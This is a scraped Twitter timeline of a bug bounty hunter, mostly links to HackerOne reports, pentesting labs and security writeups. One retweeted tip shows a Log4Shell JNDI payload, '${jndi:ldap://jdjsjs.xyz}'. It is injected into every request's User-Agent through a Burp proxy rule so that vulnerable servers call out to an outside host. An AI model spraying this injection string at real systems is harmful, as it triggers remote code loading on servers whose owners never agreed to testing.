NJAY 🚀

Seeker 🚀 | Creator | Co-founder CYBERHAWK SECURITY | Hacker | ZERO DAY Podcast Host | Hall Of Fame : Google, Netflix, Spotify and Others | Bug Hunter 😈

[NJAY 🚀 @bounty_hawk]

There are two ways you can win the world. Either by conquest or by inclusion.

~ Buddha

Lets go 2022 🔥

[Asem Eleraky @Melotover]

Can analyzing javascript files lead to remote code execution?

New writeup, hope you enjoy reading!
https://t.co/ssEzqsMqGl

#BugBounty #bugbountytips #infose

[SpiderFoot @spiderfoot]

Here are 15 Chrome extensions that can be used to perform/automate various #OSINT tasks, without leaving your browser! 🚀

We came across these descriptions and links on the excellent @osintme website. Link to the original article below!

A thread 🧵👇

[TRÄW🤟 @thatstraw]

What's your favourite productivity tool or tip on Linux?🐧

[Bilgin Ibryam @bibryam]

A fantastic visual for debugging Kubernetes apps 🤩by @learnk8s https://t.co/sLhMHDY9G3

[NJAY 🚀 @bounty_hawk]

@ceos3c Where are my Saarbrücken people at?

[Asif @0xAs1F]

Free labs to learn #cloud pentesting :

https://t.co/zQIBvkNS8F

https://t.co/hKnQoJt9ZR

https://t.co/TTYSTqjrPe

https://t.co/HivJB26ihN

https://t.co/0X15yWMFt7

https://t.co/L7EoYObMHP

https://t.co/pFOTqxNCbN

Thread 1/n.

#aws #cloudsecurity #cloupentesting

[NJAY 🚀 @bounty_hawk]

#TWEET01 - Cache Poisoning at Scale: Identifying and Exploiting over 70 Cache Poisoning vulnerabilities

Blog link: https://t.co/WSBukse2ZK

Credit: @iustinBB

#bugbounty #webcachepoisoning

[NJAY 🚀 @bounty_hawk]

Do not make your lives about owning smartly marketed combustion engines.

You are not primitive.

[encodedguy - jsmon.sh @3nc0d3dGuY]

In your Burpsuite, go to Proxy --> Options --> Match and Replace. Add a request header User-Agent: ${jndi:ldap://jdjsjs.xyz}.

This way all the requests through Burp proxy will have replaced User-Agent with jndi payload.

Share 10 percent with me if you got bounty with it 😄😄.

[Devansh (⚡, 🥷) @0xAsm0d3us]

Some of my favorite Solidity Smart Contract Security resources 💚

#ethereum #blockchain #solidity #smartcontracts

[NJAY 🚀 @bounty_hawk]

@JackRhysider It is the least reactive of all elements, thats a fact. and I think they might have tried on animals first. 😅IDK, Just making assumptions

[NJAY 🚀 @bounty_hawk]

#4

All POCs of Hackerone in JSON files

https://t.co/QYqXIVtmjx

[NJAY 🚀 @bounty_hawk]

#3

Organised Hackerone reports based on top vulnerabilities:

https://t.co/syQGegiBYZ

[NJAY 🚀 @bounty_hawk]

(2/2)

https://t.co/TBlW3IkcaO - Total price manipulation
https://t.co/5Bo1rJaZhW - Multiple gift card redeem

[NJAY 🚀 @bounty_hawk]

#2 (1/2)

Some Business Logic Flaw Cases from Hackerone

Hackerone reports

https://t.co/jPFlfixlie - Uber free ride
https://t.co/ZYoXIKfoBL - Bypass 2FA
https://t.co/aSKENTCoDL - Availing premium tear for free
https://t.co/nZdlmrSL9c - Reduce the item price

[NJAY 🚀 @bounty_hawk]

#1
Business Logic Flaw - repo for common parameters and function names.

https://t.co/I3nAUoc2W0

[NJAY 🚀 @bounty_hawk]

Good read - Business Logic Flaws

https://t.co/SSYi17bVqi

[LiveOverflow 🔴 @LiveOverflow]

Be honest with yourself. Do you really consume the courses you buy? Is the quality really holding up the price? And do you even learn more from it than you would using free resources?